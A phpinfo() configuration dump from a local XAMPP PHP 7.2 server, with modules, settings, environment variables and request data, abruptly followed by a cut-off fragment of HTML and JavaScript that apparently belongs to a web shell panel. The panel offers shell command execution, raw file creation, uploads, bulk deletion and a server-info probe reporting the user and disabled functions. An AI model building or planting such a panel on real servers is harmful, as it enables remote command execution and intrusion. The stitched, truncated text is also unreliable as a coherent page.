iconv.output_encodingno valueno value

imap

IMAP c-Client Version 2007e
SSL Support enabled

intl

Internationalization supportenabled
version 1.1.0
ICU version 4.8.1.1
ICU Data version 4.8.1
ICU TZData version 2011k
ICU Unicode version 6.0
DirectiveLocal ValueMaster Value
intl.default_localeno valueno value
intl.error_level00
intl.use_exceptions00

json

json support enabled
json version 1.6.0

ldap

LDAP Support enabled
RCS Version $Id: 3839f871a91c293a52322c63329c68db23a0290a $
Total Links 0/unlimited
API Version 3001
Vendor Name OpenLDAP
Vendor Version 20421
DirectiveLocal ValueMaster Value
ldap.max_linksUnlimitedUnlimited

libxml

libXML support active
libXML Compiled Version 2.9.4
libXML Loaded Version 20904
libXML streams enabled

mbstring

Multibyte Support enabled
Multibyte string engine libmbfl
HTTP input encoding translation disabled
libmbfl version 1.3.2
oniguruma version 6.3.0
mbstring extension makes use of "streamable kanji code filter and converter", which is distributed under the GNU Lesser General Public License version 2.1.
Multibyte (japanese) regex support enabled
Multibyte regex (oniguruma) backtrack check On
Multibyte regex (oniguruma) version 6.3.0
DirectiveLocal ValueMaster Value
mbstring.detect_orderno valueno value
mbstring.encoding_translationOffOff
mbstring.func_overload00
mbstring.http_inputno valueno value
mbstring.http_outputno valueno value
mbstring.http_output_conv_mimetypes^(text/|application/xhtml\+xml)^(text/|application/xhtml\+xml)
mbstring.internal_encodingno valueno value
mbstring.languageneutralneutral
mbstring.strict_detectionOffOff
mbstring.substitute_characterno valueno value

mysqli

MysqlI Supportenabled
Client API library version mysqlnd 5.0.12-dev - 20150407 - $Id: 38fea24f2847fa7519001be390c98ae0acafe387 $
Active Persistent Links 0
Inactive Persistent Links 0
Active Links 0
DirectiveLocal ValueMaster Value
mysqli.allow_local_infileOnOn
mysqli.allow_persistentOnOn
mysqli.default_hostno valueno value
mysqli.default_port33063306
mysqli.default_pwno valueno value
mysqli.default_socket/opt/lampp/var/mysql/mysql.sock/opt/lampp/var/mysql/mysql.sock
mysqli.default_userno valueno value
mysqli.max_linksUnlimitedUnlimited
mysqli.max_persistentUnlimitedUnlimited
mysqli.reconnectOffOff
mysqli.rollback_on_cached_plinkOffOff

mysqlnd

mysqlndenabled
Version mysqlnd 5.0.12-dev - 20150407 - $Id: 38fea24f2847fa7519001be390c98ae0acafe387 $
Compression supported
core SSL supported
extended SSL supported
Command buffer size 4096
Read buffer size 32768
Read timeout 86400
Collecting statistics Yes
Collecting memory statistics Yes
Tracing n/a
Loaded plugins mysqlnd,debug_trace,auth_plugin_mysql_native_password,auth_plugin_mysql_clear_password,auth_plugin_sha256_password
API Extensions mysqli,pdo_mysql
mysqlnd statistics
bytes_sent 0
bytes_received 0
packets_sent 0
packets_received 0
protocol_overhead_in 0
protocol_overhead_out 0
bytes_received_ok_packet 0
bytes_received_eof_packet 0
bytes_received_rset_header_packet 0
bytes_received_rset_field_meta_packet 0
bytes_received_rset_row_packet 0
bytes_received_prepare_response_packet 0
bytes_received_change_user_packet 0
packets_sent_command 0
packets_received_ok 0
packets_received_eof 0
packets_received_rset_header 0
packets_received_rset_field_meta 0
packets_received_rset_row 0
packets_received_prepare_response 0
packets_received_change_user 0
result_set_queries 0
non_result_set_queries 0
no_index_used 0
bad_index_used 0
slow_queries 0
buffered_sets 0
unbuffered_sets 0
ps_buffered_sets 0
ps_unbuffered_sets 0
flushed_normal_sets 0
flushed_ps_sets 0
ps_prepared_never_executed 0
ps_prepared_once_executed 0
rows_fetched_from_server_normal 0
rows_fetched_from_server_ps 0
rows_buffered_from_client_normal 0
rows_buffered_from_client_ps 0
rows_fetched_from_client_normal_buffered 0
rows_fetched_from_client_normal_unbuffered 0
rows_fetched_from_client_ps_buffered 0
rows_fetched_from_client_ps_unbuffered 0
rows_fetched_from_client_ps_cursor 0
rows_affected_normal 0
rows_affected_ps 0
rows_skipped_normal 0
rows_skipped_ps 0
copy_on_write_saved 0
copy_on_write_performed 0
command_buffer_too_small 0
connect_success 0
connect_failure 0
connection_reused 0
reconnect 0
pconnect_success 0
active_connections 0
active_persistent_connections 0
explicit_close 0
implicit_close 0
disconnect_close 0
in_middle_of_command_close 0
explicit_free_result 0
implicit_free_result 0
explicit_stmt_close 0
implicit_stmt_close 0
mem_emalloc_count 0
mem_emalloc_amount 0
mem_ecalloc_count 0
mem_ecalloc_amount 0
mem_erealloc_count 0
mem_erealloc_amount 0
mem_efree_count 0
mem_efree_amount 0
mem_malloc_count 0
mem_malloc_amount 0
mem_calloc_count 0
mem_calloc_amount 0
mem_realloc_count 0
mem_realloc_amount 0
mem_free_count 0
mem_free_amount 0
mem_estrndup_count 0
mem_strndup_count 0
mem_estrdup_count 0
mem_strdup_count 0
mem_edupl_count 0
mem_dupl_count 0
proto_text_fetched_null 0
proto_text_fetched_bit 0
proto_text_fetched_tinyint 0
proto_text_fetched_short 0
proto_text_fetched_int24 0
proto_text_fetched_int 0
proto_text_fetched_bigint 0
proto_text_fetched_decimal 0
proto_text_fetched_float 0
proto_text_fetched_double 0
proto_text_fetched_date 0
proto_text_fetched_year 0
proto_text_fetched_time 0
proto_text_fetched_datetime 0
proto_text_fetched_timestamp 0
proto_text_fetched_string 0
proto_text_fetched_blob 0
proto_text_fetched_enum 0
proto_text_fetched_set 0
proto_text_fetched_geometry 0
proto_text_fetched_other 0
proto_binary_fetched_null 0
proto_binary_fetched_bit 0
proto_binary_fetched_tinyint 0
proto_binary_fetched_short 0
proto_binary_fetched_int24 0
proto_binary_fetched_int 0
proto_binary_fetched_bigint 0
proto_binary_fetched_decimal 0
proto_binary_fetched_float 0
proto_binary_fetched_double 0
proto_binary_fetched_date 0
proto_binary_fetched_year 0
proto_binary_fetched_time 0
proto_binary_fetched_datetime 0
proto_binary_fetched_timestamp 0
proto_binary_fetched_string 0
proto_binary_fetched_json 0
proto_binary_fetched_blob 0
proto_binary_fetched_enum 0
proto_binary_fetched_set 0
proto_binary_fetched_geometry 0
proto_binary_fetched_other 0
init_command_executed_count 0
init_command_failed_count 0
com_quit 0
com_init_db 0
com_query 0
com_field_list 0
com_create_db 0
com_drop_db 0
com_refresh 0
com_shutdown 0
com_statistics 0
com_process_info 0
com_connect 0
com_process_kill 0
com_debug 0
com_ping 0
com_time 0
com_delayed_insert 0
com_change_user 0
com_binlog_dump 0
com_table_dump 0
com_connect_out 0
com_register_slave 0
com_stmt_prepare 0
com_stmt_execute 0
com_stmt_send_long_data 0
com_stmt_close 0
com_stmt_reset 0
com_stmt_set_option 0
com_stmt_fetch 0
com_deamon 0
bytes_received_real_data_normal 0
bytes_received_real_data_ps 0

openssl

OpenSSL support enabled
OpenSSL Library Version OpenSSL 1.0.2p 14 Aug 2018
OpenSSL Header Version OpenSSL 1.0.2p 14 Aug 2018
Openssl default config /opt/lampp/share/openssl/openssl.cnf
DirectiveLocal ValueMaster Value
openssl.cafile/opt/lampp/share/curl/curl-ca-bundle.crt/opt/lampp/share/curl/curl-ca-bundle.crt
openssl.capathno valueno value

pcre

PCRE (Perl Compatible Regular Expressions) Support enabled
PCRE Library Version 8.41 2017-07-05
PCRE JIT Support enabled
DirectiveLocal ValueMaster Value
pcre.backtrack_limit10000001000000
pcre.jit11
pcre.recursion_limit100000100000

PDO

PDO supportenabled
PDO drivers mysql, pgsql, sqlite

pdo_mysql

PDO Driver for MySQLenabled
Client API version mysqlnd 5.0.12-dev - 20150407 - $Id: 38fea24f2847fa7519001be390c98ae0acafe387 $
DirectiveLocal ValueMaster Value
pdo_mysql.default_socket/opt/lampp/var/mysql/mysql.sock/opt/lampp/var/mysql/mysql.sock

pdo_pgsql

PDO Driver for PostgreSQLenabled
PostgreSQL(libpq) Version 9.2.4
Module version 7.2.12
Revision $Id: 9c5f356c77143981d2e905e276e439501fe0f419 $

pdo_sqlite

PDO Driver for SQLite 3.xenabled
SQLite Library 3.7.17

Phar

Phar: PHP Archive supportenabled
Phar EXT version 2.0.2
Phar API version 1.1.1
SVN revision $Id: 11c9d270a69dbd9589cbea10a0ad9731a286a147 $
Phar-based phar archives enabled
Tar-based phar archives enabled
ZIP-based phar archives enabled
gzip compression enabled
bzip2 compression enabled
OpenSSL support enabled
Phar based on pear/PHP_Archive, original concept by Davey Shafik.
Phar fully realized by Gregory Beaver and Marcus Boerger.
Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.
DirectiveLocal ValueMaster Value
phar.cache_listno valueno value
phar.readonlyOnOn
phar.require_hashOnOn

posix

Revision $Id: 0a764bab332255746424a1e6cfbaaeebab998e4c $

Reflection

Reflectionenabled
Version $Id: f1096fbe817b0413895286a603375570e78fb553 $

session

Session Support enabled
Registered save handlers files user
Registered serializer handlers php_serialize php php_binary wddx
DirectiveLocal ValueMaster Value
session.auto_startOffOff
session.cache_expire180180
session.cache_limiternocachenocache
session.cookie_domainno valueno value
session.cookie_httponlyno valueno value
session.cookie_lifetime00
session.cookie_path//
session.cookie_secure00
session.gc_divisor10001000
session.gc_maxlifetime14401440
session.gc_probability11
session.lazy_writeOnOn
session.namePHPSESSIDPHPSESSID
session.referer_checkno valueno value
session.save_handlerfilesfiles
session.save_path/opt/lampp/temp//opt/lampp/temp/
session.serialize_handlerphpphp
session.sid_bits_per_character44
session.sid_length3232
session.upload_progress.cleanupOnOn
session.upload_progress.enabledOnOn
session.upload_progress.freq1%1%
session.upload_progress.min_freq11
session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefixupload_progress_upload_progress_
session.use_cookies11
session.use_only_cookies11
session.use_strict_mode00
session.use_trans_sid00

shmop

shmop support enabled

SimpleXML

Simplexml supportenabled
Revision $Id: 341daed0ee94ea8f728bfd0ba4626e6ed365c0d1 $
Schema support enabled

soap

Soap Client enabled
Soap Server enabled
DirectiveLocal ValueMaster Value
soap.wsdl_cache11
soap.wsdl_cache_dir/tmp/tmp
soap.wsdl_cache_enabled11
soap.wsdl_cache_limit55
soap.wsdl_cache_ttl8640086400

sockets

Sockets Support enabled

SPL

SPL supportenabled
Interfaces OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject
Classes AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException

sqlite3

SQLite3 supportenabled
SQLite3 module version 7.2.12
SQLite Library 3.7.17
DirectiveLocal ValueMaster Value
sqlite3.extension_dirno valueno value

standard

Dynamic Library Support enabled
Path to sendmail -t -i
DirectiveLocal ValueMaster Value
assert.active11
assert.bail00
assert.callbackno valueno value
assert.exception00
assert.quiet_eval00
assert.warning11
auto_detect_line_endings00
default_socket_timeout6060
fromno valueno value
session.trans_sid_hostsno valueno value
session.trans_sid_tagsa=href,area=href,frame=src,form=a=href,area=href,frame=src,form=
url_rewriter.hostsno valueno value
url_rewriter.tagsa=href,area=href,frame=src,input=src,form=fakeentrya=href,area=href,frame=src,input=src,form=fakeentry
user_agentno valueno value

sysvsem

Version 7.2.12

sysvshm

Version 7.2.12

tokenizer

Tokenizer Support enabled

wddx

WDDX Supportenabled
WDDX Session Serializer enabled

xml

XML Support active
XML Namespace Support active
libxml2 Version 2.9.4

xmlreader

XMLReader enabled

xmlrpc

core library version xmlrpc-epi v. 0.51
php extension version 7.2.12
author Dan Libby
homepage http://xmlrpc-epi.sourceforge.net
open sourced by Epinions.com

xmlwriter

XMLWriter enabled

xsl

XSL enabled
libxslt Version 1.1.29
libxslt compiled against libxml Version 2.9.4
EXSLT enabled
libexslt Version 1.1.29

zip

Zip enabled
Zip version 1.15.4
Libzip version 1.1.2

zlib

ZLib Supportenabled
Stream Wrapper compress.zlib://
Stream Filter zlib.inflate, zlib.deflate
Compiled Version 1.2.11
Linked Version 1.2.11
DirectiveLocal ValueMaster Value
zlib.output_compressionOffOff
zlib.output_compression_level-1-1
zlib.output_handlerno valueno value

Additional Modules

Module Name

Environment

VariableValue
SUDO_GID 1000
MAIL /var/mail/root
USER root
LANGUAGE en_US
LC_TIME sv_SE.UTF-8
TEXTDOMAIN xampp
LD_LIBRARY_PATH /opt/lampp/lib:/opt/lampp/lib
SHLVL 1
HOME /home/beneri
de false
GETTEXT /opt/lampp/bin/gettext
LC_MONETARY sv_SE.UTF-8
COLORTERM truecolor
SUDO_UID 1000
LOGNAME root
_ /opt/lampp/bin/apachectl
USERNAME root
TERM xterm-256color
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
LC_ADDRESS sv_SE.UTF-8
DISPLAY :0
LANG en_US.UTF-8
LC_TELEPHONE sv_SE.UTF-8
LS_COLORS rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XAUTHORITY /home/beneri/.Xauthority
SUDO_COMMAND /opt/lampp/lampp start
XAMPP_OS Linux
LC_NAME sv_SE.UTF-8
SHELL /bin/bash
SUDO_USER root
LC_MEASUREMENT sv_SE.UTF-8
LC_IDENTIFICATION sv_SE.UTF-8
XAMPP_ROOT /opt/lampp
PWD /home/beneri
LC_NUMERIC sv_SE.UTF-8
LC_PAPER sv_SE.UTF-8

PHP Variables

VariableValue
$_SERVER['UNIQUE_ID']YDlOkssB3wvo4Pi5fDI0rwAAAAA
$_SERVER['HTTP_HOST']localhost
$_SERVER['HTTP_USER_AGENT']Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
$_SERVER['HTTP_ACCEPT']text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
$_SERVER['HTTP_ACCEPT_LANGUAGE']en-US,en;q=0.5
$_SERVER['HTTP_ACCEPT_ENCODING']gzip, deflate
$_SERVER['HTTP_CONNECTION']keep-alive
$_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS']1
$_SERVER['HTTP_CACHE_CONTROL']max-age=0
$_SERVER['PATH']/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
$_SERVER['LD_LIBRARY_PATH']/opt/lampp/lib:/opt/lampp/lib
$_SERVER['SERVER_SIGNATURE']no value
$_SERVER['SERVER_SOFTWARE']Apache/2.4.37 (Unix) OpenSSL/1.0.2p PHP/7.2.12 mod_perl/2.0.8-dev Perl/v5.16.3
$_SERVER['SERVER_NAME']localhost
$_SERVER['SERVER_ADDR']127.0.0.1
$_SERVER['SERVER_PORT']80
$_SERVER['REMOTE_ADDR']127.0.0.1
$_SERVER['DOCUMENT_ROOT']/opt/lampp/htdocs
$_SERVER['REQUEST_SCHEME']http
$_SERVER['CONTEXT_PREFIX']no value
$_SERVER['CONTEXT_DOCUMENT_ROOT']/opt/lampp/htdocs
$_SERVER['SERVER_ADMIN']you@example.com
$_SERVER['SCRIPT_FILENAME']/opt/lampp/htdocs/test.php
$_SERVER['REMOTE_PORT']35610
$_SERVER['GATEWAY_INTERFACE']CGI/1.1
$_SERVER['SERVER_PROTOCOL']HTTP/1.1
$_SERVER['REQUEST_METHOD']GET
$_SERVER['QUERY_STRING']no value
$_SERVER['REQUEST_URI']/test.php
$_SERVER['SCRIPT_NAME']/test.php
$_SERVER['PHP_SELF']/test.php
$_SERVER['REQUEST_TIME_FLOAT']1614368402.139
$_SERVER['REQUEST_TIME']1614368402

PHP Credits

PHP Group
Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski
Language Design & Concept
Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger
PHP Authors
ContributionAuthors
Zend Scripting Language Engine Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov
Extension Module API Andi Gutmans, Zeev Suraski, Andrei Zmievski
UNIX Build and Modularization Stig Bakken, Sascha Schumann, Jani Taskinen
Windows Support Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen
Server API (SAPI) Abstraction Layer Andi Gutmans, Shane Caraveo, Zeev Suraski
Streams Abstraction Layer Wez Furlong, Sara Golemon
PHP Data Objects Layer Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
Output Handler Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner
Consistent 64 bit support Anthony Ferrara, Anatol Belski
SAPI Modules
ContributionAuthors
Apache 2.0 Handler Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code)
CGI / FastCGI Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov
CLI Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui
Embed Edin Kadribasic
FastCGI Process Manager Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet
litespeed George Wang
phpdbg Felipe Pena, Joe Watkins, Bob Weinand
Module Authors
ModuleAuthors
BC Math Andi Gutmans
Bzip2 Sterling Hughes
Calendar Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong
COM and .Net Wez Furlong
ctype Hartmut Holzgraefe
cURL Sterling Hughes
Date/Time Support Derick Rethans
DB-LIB (MS SQL, Sybase) Wez Furlong, Frank M. Kromann, Adam Baratz
DBA Sascha Schumann, Marcus Boerger
DOM Christian Stocker, Rob Richards, Marcus Boerger
enchant Pierre-Alain Joye, Ilia Alshanetsky
EXIF Rasmus Lerdorf, Marcus Boerger
fileinfo Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski
Firebird driver for PDO Ard Biesheuvel
FTP Stefan Esser, Andrew Skalski
GD imaging Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger
GetText Alex Plotnick
GNU GMP support Stanislav Malyshev
Iconv Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi
IMAP Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky
Input Filter Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky
InterBase Jouni Ahto, Andrew Avdeev, Ard Biesheuvel
Internationalization Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar
JSON Jakub Zelenka, Omar Kilani, Scott MacVicar
LDAP Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas
LIBXML Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo
Multibyte String Functions Tsukada Takuya, Rui Hirokawa
MySQL driver for PDO George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter
MySQLi Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel
MySQLnd Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter
OCI8 Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation
ODBC driver for PDO Wez Furlong
ODBC Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky
Opcache Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui
OpenSSL Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar
Oracle (OCI) driver for PDO Wez Furlong
pcntl Jason Greene, Arnaud Le Blanc
Perl Compatible Regexps Andrei Zmievski
PHP Archive Gregory Beaver, Marcus Boerger
PHP Data Objects Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
PHP hash Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar
Posix Kristian Koehntopp
PostgreSQL driver for PDO Edin Kadribasic, Ilia Alshanetsky
PostgreSQL Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne
Pspell Vlad Krupin
Readline Thies C. Arntzen
Recode Kristian Koehntopp
Reflection Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter
Sessions Sascha Schumann, Andrei Zmievski
Shared Memory Operations Slava Poliakov, Ilia Alshanetsky
SimpleXML Sterling Hughes, Marcus Boerger, Rob Richards
SNMP Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin
SOAP Brad Lafountain, Shane Caraveo, Dmitry Stogov
Sockets Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene
Sodium Frank Denis
SPL Marcus Boerger, Etienne Kneuss
SQLite 3.x driver for PDO Wez Furlong
SQLite3 Scott MacVicar, Ilia Alshanetsky, Brad Dewar
System V Message based IPC Wez Furlong
System V Semaphores Tom May
System V Shared Memory Christian Cartus
tidy John Coggeshall, Ilia Alshanetsky
tokenizer Andrei Zmievski, Johannes Schlueter
WDDX Andrei Zmievski
XML Stig Bakken, Thies C. Arntzen, Sterling Hughes
XMLReader Rob Richards
xmlrpc Dan Libby
XMLWriter Rob Richards, Pierre-Alain Joye
XSL Christian Stocker, Rob Richards
Zip Pierre-Alain Joye, Remi Collet
Zlib Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner
PHP Documentation
Authors Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey
Editor Peter Cowburn
User Note Maintainers Daniel P. Brown, Thiago Henrique Pojda
Other Contributors Previously active authors, editors and other contributors are listed in the manual.
PHP Quality Assurance Team
Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Jani Taskinen, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs
Websites and Infrastructure team
PHP Websites Team Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
Event Maintainers Damien Seguy, Daniel P. Brown
Network Infrastructure Daniel P. Brown
Windows Infrastructure Alex Schoenmaker

PHP License

This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.

; ?&gt;" style="width: 100%; height: 60px; margin-bottom: 5px;"></textarea> <button type="submit" style="width:100%;"><i class="fa-solid fa-code"></i> Create Raw File</button>
</div> </div> <div class="sidebar-content"> <h4>Folders</h4> <div class="folder-list" id="folder-list"></div> </div> <div class="sidebar-footer"> <h4>Server Info</h4> <div id="server-info" class="system-info" style="margin-top:0;"> <div>Loading server info...</div> </div> </div> </div> <div class="main-content"> <div class="top-bar"> <div class="path-actions"> <button id="home-btn" title="Go to root"><i class="fa-solid fa-house"></i></button> <button id="up-btn" title="Go up one level"><i class="fa-solid fa-arrow-up"></i></button> <button id="create-file-btn" title="Create File"><i class="fa-solid fa-file-circle-plus"></i></button> <button id="create-dir-btn" title="Create Directory"><i class="fa-solid fa-folder-plus"></i></button> <button id="refresh-btn" title="Refresh"><i class="fa-solid fa-rotate"></i></button> </div> <div class="path-bar-container"> <div id="path-bar" class="path-bar"></div> </div> </div> <div class="cmd-container">
<button type="submit">Execute</button>
<pre id="cmd-output" style="display:none;"></pre> </div> <div class="file-list-container"> <div class="bulk-actions" style="padding: 10px 15px;"> <span style="font-weight: bold;">Bulk Actions:</span> <button id="bulk-delete-btn">Delete Selected</button> <button id="bulk-zip-btn">Zip Selected</button> </div> <table class="file-table"> <thead><th style="width:30px;"></th><th>Name</th><th>Size</th><th>Perms</th><th>Modified</th><th>Actions</th></thead> <tbody id="file-list"></tbody> </div> </div></div><div class="modal-overlay" id="editor-modal"> <div class="modal-content"> <h3 id="editor-title">Edit File
<textarea id="editor-content"></textarea> <div style="margin-top:10px; text-align:right;"> <button type="button" onclick="closeModal()" style="background:var(--muted);">Cancel</button> <button type="submit">Save</button> </div>
</div></div><script> let currentPath = ''; let uploadQueue = []; function showToast(message, status = 'ok') { const toast = document.createElement('div'); toast.className = `toast-notification ${status === 'ok' ? 'success' : 'error'}`; toast.textContent = message; document.body.appendChild(toast); setTimeout(() => { toast.classList.add('show'); }, 10); setTimeout(() => { toast.classList.remove('show'); setTimeout(() => { document.body.removeChild(toast); }, 500); }, 3000); } async function loadServerInfo() { try { const response = await fetch(`?ajax=true&action=get_server_info`); const data = await response.json(); if(data.status === 'ok') { const content = `OS : ${data.os}\nPHP : ${data.php_version}\nUser : ${data.user}\nServer IP : ${data.server_ip}\nDisk : ${data.free_space} / ${data.total_space}\nDisabled : ${data.disabled_functions}`.trim(); document.getElementById('server-info').innerHTML = `<pre>${content}</pre>`; } } catch(e) { document.getElementById('server-info').textContent = 'Failed to load server info.'; } } // --- UPLOAD LOGIC --- function initUploadZone() { const uploadZone = document.getElementById('upload-zone'); const fileInput = document.getElementById('file-input'); uploadZone.addEventListener('click', () => fileInput.click()); fileInput.addEventListener('change', handleFileSelect); uploadZone.addEventListener('dragover', (e) => { e.preventDefault(); uploadZone.classList.add('drag-over'); }); uploadZone.addEventListener('dragleave', (e) => { e.preventDefault(); uploadZone.classList.remove('drag-over'); }); uploadZone.addEventListener('drop', (e) => { e.preventDefault(); uploadZone.classList.remove('drag-over'); handleFileDrop(e); }); document.getElementById('upload-btn').addEventListener('click', uploadAllFiles); } function handleFileSelect(e) { const files = Array.from(e.target.files); addFilesToQueue(files); e.target.value = null; } function handleFileDrop(e) { const files = Array.from(e.dataTransfer.files); addFilesToQueue(files); } function addFilesToQueue(files) { files.forEach(file => { uploadQueue.push({ file: file, status: 'pending', progress: 0 }); }); updateUploadUI(); } function updateUploadUI() { const progressContainer = document.getElementById('upload-progress'); const statsElement = document.getElementById('upload-stats'); const fileListElement = document.getElementById('upload-file-list'); if (uploadQueue.length > 0) { progressContainer.style.display = 'block'; const pendingFiles = uploadQueue.filter(f => f.status === 'pending'); const successFiles = uploadQueue.filter(f => f.status === 'success'); const errorFiles = uploadQueue.filter(f => f.status === 'error'); statsElement.innerHTML = `<span class="upload-success">✓ ${successFiles.length}</span> | <span class="upload-error">✗ 